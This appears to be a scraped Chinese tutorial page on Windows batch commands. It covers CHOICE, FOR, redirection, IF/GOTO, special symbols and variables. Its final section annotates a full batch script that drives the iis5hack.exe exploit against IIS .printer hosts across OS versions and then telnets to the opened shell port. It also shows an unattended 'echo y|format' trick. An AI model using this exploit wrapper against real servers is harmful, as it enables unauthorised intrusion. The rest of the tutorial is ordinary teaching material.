    到 9999。如果指定了 0,就不会有暂停,默认选项
    会得到选择。

    /D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
    项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

    /M text 指定提示之前要显示的消息。如果没有指定,工具只
    显示提示。

    /? 显示帮助消息。

    注意:
    ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
    择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
    该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
    ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0
    的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
    序排列。

    示例:
    CHOICE /?
    CHOICE /C YNC /M “确认请按 Y,否请按 N,或者取消请按 C。”
    CHOICE /T 10 /C ync /CS /D y
    CHOICE /C ab /M “选项 1 请选择 a,选项 2 请选择 b。”
    CHOICE /C ab /N /M “选项 1 请选择 a,选项 2 请选择 b。”

    如果我运行命令:CHOICE /C YNC /M “确认请按 Y,否请按 N,或者取消请按 C。”
    屏幕上会显示:
    确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

    例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
    @echo off
    choice /C dme /M “defrag,mem,end”
    if errorlevel 3 goto end
    if errorlevel 2 goto mem
    if errotlevel 1 goto defrag

    :defrag
    c:\dos\defrag
    goto end

    :mem
    mem
    goto end

    :end
    echo good bye

    此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

    for

    语法:
    对一组文件中的每一个文件执行某个特定命令。

    FOR %%variable IN (set) DO command [command-parameters]

    %%variable 指定一个单一字母可替换的参数。
    (set) 指定一个或一组文件。可以使用通配符。
    command 指定对每个文件执行的命令。
    command-parameters
    为特定命令指定参数或命令行开关。

    例如一个批处理文件中有一行:
    for %%c in (*.bat *.txt) do type %%c

    则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

    重定向操作

    可以使用重定向操作符将命令输入和输出数据流从默认位置重定向到其他位置。输入或输出数据流的位置称为句柄。

    句柄句柄的数字代号描述
    STDIN0键盘输入
    STDOUT1输出到命令提示符窗口
    STDERR2错误输出到命令提示符窗口

    句柄由应用程序单独定义,它们是各个工具特有的

    数字 0 到 9 代表前 10 个句柄。可以使用命令 Cmd.exe 运行程序,并对该程序前 10 个句柄中的任何一个句柄进行重定向。要指定要用的句柄,在重定向操作符之前键入该句柄的数字。如果未定义句柄,则默认的 < 重定向输入操作符是 0,而默认的 > 重定向输出操作符是 1。键入 < 或 > 操作符之后,必须指定数据的读写位置。可以指定文件名或其他现有的句柄。

    要指定重定向到现有句柄,请使用与 (&) 字符,后面接要重定向的句柄号(即 &句柄号)。例如,下面的命令可以将句柄 2(即 STDERR)重定向到句柄 1(即 STDOUT):

    2>&1
    

    重定向输入"<"

    要通过键盘将输入重定向到文件或设备,使用 "< "操作符。

    例如,要从 File.txt 获取 sort 命令的输入,键入:

    sort<file.txt

    File.txt 的内容将以字母顺序列表的方式显示在命令提示符窗口中。

    "< "操作符可以打开具有只读访问权限的指定文件名。因此,不能在使用该操作符时向文件中写入信息。例如,如果以 <&2 启动程序,则所有试图读取句柄 0 的操作都将失败,因为句柄 2 最初是以只写访问方式打开的。

    注意

    0 是 < 重定向输入操作符的默认句柄。
    重定向输出">"

    几乎所有的命令都将输出发送到命令提示符窗口。即使将输出发送到驱动器或打印机的命令也会在命令提示符窗口显示消息和提示。

    要将输出从命令提示符窗口重定向到文件或设备,使用 > 操作符。可以在许多命令中使用该操作符

    例如,要将 dir 输出重定向到 Dirlist.txt,键入:

    dir>dirlist.txt

    如果 Dirlist.txt 不存在,Cmd.exe 将创建该文件。如果 Dirlist.txt 存在,Cmd.exe 将使用 dir 命令的输出替换文件中的信息。

    要运行 netsh routing dump 命令,然后将输出发送到 Route.cfg,键入:

    netsh routing dump>c:\route.cfg

    “>” 操作符可以打开具有只写访问权限的指定文件。因此,不能使用该操作符读取文件。例如,如果使用重定向操作符 >&0 启动程序,则写入句柄 1 的所有尝试操作都将失败,因为句柄 0 最初是以只读访问方式打开的。

    注意

    1 是 > 重定向输出操作符的默认句柄。
    复制句柄

    重定向操作符" & "可以将输出或输入从一个指定句柄复制到另一个指定的句柄。

    例如,要将 dir 输出发送到 File.txt 并将错误输出发送到 File.txt,键入:

    dir>c:\file.txt 2>&1

    复制句柄时,可以复制该句柄原状态的所有特性。例如,如果一个句柄具有只读访问的属性,则该句柄的所有副本都具有只读访问属性。不能将一个具有只读访问属性的句柄复制到另一个具有只写访问属性的句柄。
    使用"&"操作符重定向输出和副本

    要将重定向输入操作符 “<” 与复制操作符 “&” 结合使用,指定的文件必须已经存在。如果输入文件存在,Cmd.exe 将以只读方式打开该文件,然后将文件包含的字符作为输入发送到此命令(如同从键盘输入一样)。如果指定了句柄,Cmd.exe 将指定的句柄复制到系统现有的句柄中。

    例如,要以句柄 0 输入读取(即 STDIN)的方式打开 File.txt,键入:

    < file.txt

    要打开 File.txt,并在内容排序后将输出发送到命令提示符窗口(即 STDOUT),键入:

    sort< file.txt

    要查找 File.txt,然后将句柄 1(即 STDOUT)和句柄 2(即 STDERR)重定向到 Search.txt,键入:

    findfile file.txt>search.txt 2<&1

    要以句柄 0 输入读取(即 STDIN)的方式复制用户定义的句柄 3,键入:

    <&3
    使用"&"操作符重定向输出和复制

    如果将输出重定向到文件且指定了现有的文件名,Cmd.exe 将以只写方式打开文件并覆盖该文件内容。如果指定了句柄,Cmd.exe 将文件复制到现有句柄中。

    要将用户定义的句柄 3 复制到句柄 1,键入:

    &3

    要将包括句柄 2(即 STDERR)的所有输出从 ipconfig 命令重定向到句柄 1(即 STDOUT),然后将输出重定向到 Output.log,键入:

    ipconfig.exe>>output.log 2>&1
    使用">>"重定向操作符附加输出

    要从命令中将输出添加到文件末尾而不丢失文件中已存在的任何信息,请使用两个连续的大于号(即 >>)。

    例如,使用下列命令可以将 dir 命令生成的目录列表附加到 Dirlist.txt 文件:

    dir>>dirlist.txt

    要将 netstat 命令的输出附加到 Tcpinfo.txt 的末尾,键入:

    netstat>>tcpinfo.txt
    使用管道操作符"|"

    管道操作符 (|) 可以提取一个命令的输出(默认情况下是 STDOUT),然后将其定向到另一个命令的输入(默认情况下是 STDIN)中。

    例如,使用下面的命令可以对目录进行分类:

    dir | sort

    在本例中,将同时启动两个命令,但随后 sort 命令会暂停,直到它接收到 dir 命令的输出为止。sort 命令使用 dir 命令的输出作为输入,然后将输出发送到句柄 1(即 STDOUT)。
    合并带重定向操作符的命令

    通过合并带有其他命令和文件名的筛选器命令,可以创建自定义命令。

    例如,可以使用以下命令存储包含“LOG”字符串的文件名:

    dir /b | find “log” loglist.txt

    dir 命令的输出是通过 find 筛选器命令进行发送的。包含字符串“LOG”的文件名作为文件名列表(例如,NetshConfig.log、Logdat.svd 和 Mylog.bat)存储在文件 Loglist.txt 中。

    要在相同命令中使用多个筛选器,使用管道 (|) 分隔筛选器。

    例如,下面的命令将搜索 C 盘上的每个目录以查找包含“LOG”字符串的文件名,并且在命令提示符窗口中每次显示一屏:

    dir c:\ /s /b | find “log” | more

    批处理示例

    IF-EXIST

    首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
    @echo off
    IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
    IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

    然后运行它:
    C:>TEST1.BAT

    如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

    接着再建立一个test2.bat文件,内容如下:
    @ECHO OFF
    IF EXIST %1 TYPE %1
    IF NOT EXIST %1 ECHO %1 does not exist

    执行:
    C:>TEST2 AUTOEXEC.BAT
    该命令运行结果同上。

    说明:
    (1) IF EXIST 是用来测试文件是否存在的,格式为
    IF EXIST [路径+文件名] 命令
    (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

    1. 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
    @echo off
    IF "%1" == "A" ECHO XIAO
    IF "%2" == "B" ECHO TIAN
    IF "%3" == "C" ECHO XIN
    

    如果运行:
    C:>TEST3 A B C
    屏幕上会显示:
    XIAO
    TIAN
    XIN

    如果运行:
    C:>TEST3 A B
    屏幕上会显示
    XIAO
    TIAN

    在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

    IF-ERRORLEVEL

    建立TEST4.BAT,内容如下:
    @ECHO OFF
    XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
    IF ERRORLEVEL 0 ECHO 成功拷贝文件

    然后执行文件:
    C:>TEST4

    如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

    IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
    因此下面的批处理文件是错误的:
    @ECHO OFF
    XCOPY C:\AUTOEXEC.BAT D:
    IF ERRORLEVEL 0 ECHO 成功拷贝文件
    IF ERRORLEVEL 1 ECHO 未找到拷贝文件
    IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
    IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
    IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

    无论拷贝是否成功,后面的:

    未找到拷贝文件
    用户通过ctrl-c中止拷贝操作
    预置错误阻止文件拷贝操作
    拷贝过程中写盘错误

    都将显示出来。

    以下就是几个常用命令的返回值及其代表的意义:
    backup
    0 备份成功
    1 未找到备份文件
    2 文件共享冲突阻止备份完成
    3 用户用ctrl-c中止备份
    4 由于致命的错误使备份操作中止

    diskcomp
    0 盘比较相同
    1 盘比较不同
    2 用户通过ctrl-c中止比较操作
    3 由于致命的错误使比较操作中止
    4 预置错误中止比较

    diskcopy
    0 盘拷贝操作成功
    1 非致命盘读/写错
    2 用户通过ctrl-c结束拷贝操作
    3 因致命的处理错误使盘拷贝中止
    4 预置错误阻止拷贝操作

    format
    0 格式化成功
    3 用户通过ctrl-c中止格式化处理
    4 因致命的处理错误使格式化中止
    5 在提示“proceed with format(y/n)?”下用户键入n结束

    xcopy
    0 成功拷贝文件
    1 未找到拷贝文件
    2 用户通过ctrl-c中止拷贝操作
    4 预置错误阻止文件拷贝操作
    5 拷贝过程中写盘错误

    IF STRING1 == STRING2

    建立TEST5.BAT,文件内容如下:
    @echo off
    IF “%1” == “A” formAT A:

    执行:
    C:>TEST5 A
    屏幕上就出现是否将A:盘格式化的内容。

    注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
    如:if [%1]==[A] 或者 if %1*==A*

    GOTO

    建立TEST6.BAT,文件内容如下:
    @ECHO OFF
    IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
    GOTO _DONE
    :_COPY
    COPY C:\AUTOEXEC.BAT D:
    :_DONE

    注意:
    (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
    (2) 标号的命名规则与文件名的命名规则相同。
    (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

    FOR

    建立C:\TEST7.BAT,文件内容如下:
    @ECHO OFF
    FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C

    运行:
    C:>TEST7

    执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件).

    展开全文
  • Windows平台批处理命令教程

    千次阅读 2009-04-13 13:21:00
    Windows平台批处理命令教程 do2jiang@gmail.com蒋冬冬 收集于网络 2009.4 该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。...

     

    Windows平台批处理命令教程

     

    do2jiang@gmail.com

    蒋冬冬  收集于网络  2009.4

     

     

    该教程一共分为4大部分,

    第一部分是批处理的专用命令,

    第二部分是特殊的符号与批处理,

    第三部分是批处理与变量,

    第四部分是完整案例。

     

    第一部分:批处理的专用命令

     

    批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

    1 REM

    REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:

    REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。

     

    2 ECHO

    ECHO 是一个回显命令主要参数有OFF ON,一般用ECHO message来显示一个特定的消息 。例:

    Echo off

    Rem 以上代表关闭回显即不显示所执行的命令

    Echo 这个就是消息。

    Rem 以上代表显示“这就是消息”这列字符

    执行结果:

    C:/>ECHO.BAT

    这个就是消息。

     

    3 GOTO

    GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例

    :LABEL

    REM 上面就是名为LABEL的标号。

    DIR C:/

    DIR D:/

    GOTO LABEL

    REM 以上程序跳转标号LABEL处继续执行。

     

    4CALL

    CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:

    批处理2.BAT内容如下:

    ECHO 这就是2的内容

    批处理1.BAT内容如下:

    ECHO 这是1的内容

    CALL 2.BAT

    ECHO 12的内容全部显示完成

    执行结果如下:

    C:/>1.BAT

    这是1的内容

    这就是2的内容

    12的内容全部显示完成

     

    5PAUSE

    PAUSE 停止系统命令的执行并显示下面的内容。例:

    C:/> PAUSE

    请按任意键继续 . . .

     

    6 IF

    IF 条件判断语句,语法格式如下:

    IF [NOT] ERRORLEVEL number command

    IF [NOT] string1==string2 command

    IF [NOT] EXIST filename command

    说明:

    [NOT] 将返回的结果取反值即“如果没有”的意思。

    ERRORLEVEL 是命令执行完成后返回的退出值

    Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。

    string1==string2 string1string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command

    EXIST filename 为文件或目录存在的意思。

    IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。

    例:

    1 IF [NOT] ERRORLEVEL number command

    检测命令执行完后的返回值做出判断。

    echo off

    dir z:

    rem 如果退出代码为1(不成功)就跳至标题1处执行

    IF ERRORLEVEL 1 goto 1

    rem 如果退出代码为0(成功)就跳至标题0处执行

    IF ERRORLEVEL 0 goto 0

    :0

    echo 命令执行成功! 

    Rem 程序执行完毕跳至标题exit处退出

    goto exit

    :1

    echo 命令执行失败!

    Rem 程序执行完毕跳至标题exit处退出

    goto exit

    :exit

    Rem 这里是程序的出口

    2 IF string1==string2 command

    检测当前变量的值做出判断

    ECHO OFF

    IF %1==2 goto no

    Echo 变量相等!

    Goto exit

    :no

    echo 变量不相等

    goto exit

    :exit

    大家可以这样看效果 C:/>test.bat 数字

     

    3 IF [NOT] EXIST filename command

    发现特定的文件做出判断

    echo off

    IF not EXIST autoexec.bat goto 1

    echo 文件存在成功! 

    goto exit

    :1

    echo 文件不存在失败!

    goto exit

    :exit

    这个批处理大家可以放在c盘和d盘分别执行看看效果。

    7 FOR

    FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:

    FOR [%%c] IN (set) DO [command] [arguments]

    在命令行中命令如下:

    FOR [%c] IN (set) DO [command] [arguments]

    常用参数:

    /L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5(5,-1,1) 将产生序列 (5 4 3 2 1)

    /D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

     

    /F 从指定的文件中读取数据作为变量

    eol=c - 指一个行注释字符的结尾(就一个)

    skip=n - 指在文件开始时忽略的行数。

    delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

    usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

    下面来看一个例子:

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明,%j %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 'Z' 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    以下列举一个简单的例子,他将说明参数/L和没有参数的区别:

    删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT

    例:

    ECHO OFF

    FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

    FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT

    以上2条命令执行的结果都是一样的如下:

    C:/>DEL 1.TXT

    C:/>DEL 2.TXT

    C:/>DEL 3.TXT

    C:/>DEL 4.TXT

    C:/>DEL 5.TXT

     

    8 SETLOCAL

    开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后

    所做的环境改动只限于批处理文件。要还原原先的设置,必须执

    ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个

    尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL

    执行。例:

    @ECHO OFF

    SET PATH /*察看环境变量PATH

    PAUSE

    SETLOCAL

    SET PATH=E:/TOOLS /*重新设置环境变量PATH

    SET PATH

    PAUSE

    ENDLOCAL

    SET PATH

    从上例我们可以看到环境变量PATH1次被显示得时候是系统默认路径。被设置成了E:/TOOLS后显示为E:/TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。

     

    9 SHIFT

    SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:

    ECHO OFF

    ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    SHIFT

    ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    SHIFT

    ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    执行结果如下:

    C::/>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

    1 2 3 4 5 6 7 8 9

    2 3 4 5 6 7 8 9 10

    3 4 5 6 7 8 9 10 11

    以上就是基于WIN2000下的9个批处理命令。

     

    第二部分:特殊的符号与批处理

     

    在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。

    1、 符号(@)

    @在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求

    2、 符号(>)

    >的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:

    文件1.txt的文件内容为:

    1+1

    使用命令c:/>dir *.txt >1.txt

    这时候1.txt的内容如下

    驱动器 C 中的卷没有标签。

    卷的序列号是 301A-1508

    C:/ 的目录

    2003-03-11 14:04 1,005 FRUNLOG.TXT

    2003-04-04 16:38 18,598,494 log.txt

    2003-04-04 17:02 5 1.txt

    2003-03-12 11:43 0 aierrorlog.txt

    2003-03-30 00:35 30,571 202.108.txt

    5 个文件 18,630,070 字节

    0 个目录 1,191,542,784 可用字节 

    >将命令执行的结果覆盖了原始的文件内容。

    在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:

    C:/>dir *.txt >nul 

    程序将没有任何显示也不会产生任何痕迹。

    3、 符号(>>)

    符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:

    文件1.txt内同为:

    1+1

    使用命令c:/>dir *.txt >>1.txt

    这时候1.txt的内容如下

    1+1

    驱动器 C 中的卷没有标签。

    卷的序列号是 301A-1508

    C:/ 的目录

    2003-03-11 14:04 1,005 FRUNLOG.TXT

    2003-04-04 16:38 18,598,494 log.txt

    2003-04-04 17:02 5 1.txt

    2003-03-12 11:43 0 aierrorlog.txt

    2003-03-30 00:35 30,571 202.108.txt

    5 个文件 18,630,070 字节

    0 个目录 1,191,542,784 可用字节 

    >>将命令执行的结果覆加在了原始的文件内容后面。

    4、 符号(|)

    |是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:

    C:/>dir c:/|find "1508"

    卷的序列号是 301A-1508

    以上命令的意思为查找c:/的所有并发现1508字符串。Find的用法请用 find /?自行查看

    在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的

    echo y|fornat a: /s /q /v:system

    用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)

    5、 符号(^)

    ^ 是对特殊符号 > < &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:

    c:/>echo test ^> 1.txt

    test > 1.txt

    从上面可以看出并没有把test写入文件1.txt而是将test >1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。 

    6、 符号(&)

    &符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:

    c:/> dir z:/ &dir y:/ &dir c:/

    以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。

    7、 符号(&&)

    &&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:

    c:/> dir z:/ &&dir y:/ &&dir c:/

    以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令

    8、 符号(" ")

    " "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:

    c:/>cd “Program Files”

    c:/>cd progra~1

    c:/>cd pro*

    以上方法都可以进入Program Files目录

    9、 符号(,

    ,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:

    c:/>dir,c:/

    10、 符号(;)

    ;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:

    DIR C:/;D:/;E:/F:/

    以上的命令相当于

    DIR C:/

    DIR D:/

    DIR E:/

    DIR F:/

    当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

     

    第三部分:批处理与变量

     

    在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%910个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:

    C::/>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

    SHIFT.BAT 1 2 3 4 5 6 7 8 9

    1 2 3 4 5 6 7 8 9 10

    2 3 4 5 6 7 8 9 10 11

    系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:

    批处理内容为:

    ECHO %1 

    ECHO %2 

    ECHO %3

    输入命令:

    C:/>TEST “Program Files” Program Files

    Program Files

    Program 

    Files

    在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:

    ECHO OFF

    SET PASS=%1

    SHIFT

    SET PASS1=%1

    SHIFT

    ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 

    SHIFT

    ECHO %PASS% %PASS1% %9

    SET PASS=%PASS1% 变量的传递

    SET PASS1=%9

    SHIFT

    ECHO %PASS% %PASS1% %9

    使用命令:C:/>TEST A B 3 4 5 6 7 8 9 10 K L

    A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量

    A B L 在使用了3SHIFT之后%9变成了L

    B L 变量的传递后的结果

     

     

    第四部分:完整案例

     

    以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。

    例一

    这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exeiis5hack的命令格式为:

    iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-910个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 <iis.bat 目标ip (开始版本号)>开始版本号可有可无。程序如下。

    @echo off /*关闭命令回显

    if "%1%"=="" goto help /*判断%1是否为空,%1为目标ip

    if "%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1

    if "%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则

    if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行

    if "%2%"=="4" goto 4

    if "%2%"=="5" goto 5

    if "%2%"=="6" goto 6

    if "%2%"=="7" goto 7

    if "%2%"=="8" goto 8

    if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容

    ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1

    if errorlevel 1 goto error /*如果返回代码为1则执行error(代码1为没有发现 0为发现并成功执行)

    iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good(溢出成功后才会有字符串good)

    if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。

    echo 操作系统类型 9 失败! /否则显示这一句

    :8 /*以下代码内容参照上面

    iis5hack %1 80 8 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 8 失败!

    :7

    iis5hack %1 80 7 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 7 失败!

    :6

    iis5hack %1 80 6 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 6 失败!

    :5

    iis5hack %1 80 5 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 5 失败!

    :4

    iis5hack %1 80 4 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 4 失败!

    :3

    iis5hack %1 80 3 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 3 失败!

    :2

    iis5hack %1 80 2 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 2 失败!

    :1

    iis5hack %1 80 1 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 1 失败!

    :0

    iis5hack %1 80 0 88 | find "good"

    if not errorlevel 1 goto telnet

    echo 操作系统类型 0 失败!

    goto error

    :telnet

    telnet %1 88 /*开始连接目标ip88端口

    goto exit /*连接中断后跳转exit

    :error /*error段显示错误后的帮助信息

    echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!

    echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]

    ECHO 中文: 0

    ECHO 中文+sp1: 1

    ECHO 英文: 2

    ECHO 英文+sp1: 3

    ECHO 日语: 4

    ECHO 日语+sp1: 5

    ECHO 韩文: 6

    ECHO 韩文+sp1: 7

    ECHO 墨西哥语: 8

    ECHO 墨西哥语+sp1: 9

    goto exit /*跳转exit

    :file /*file段显示文件没有发现的信息

    echo 文件iis5hack.exe没有发现!程序终止运行!

    goto exit /*跳转exit

    :help /*help段显示本批处理的使用格式帮助

    echo 本程序用法如下:

    echo iis [目标ip]

    echo iis [目标ip] [开始的号码9-0]

    :exit /*exit段为程序出口

    这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!

    例二
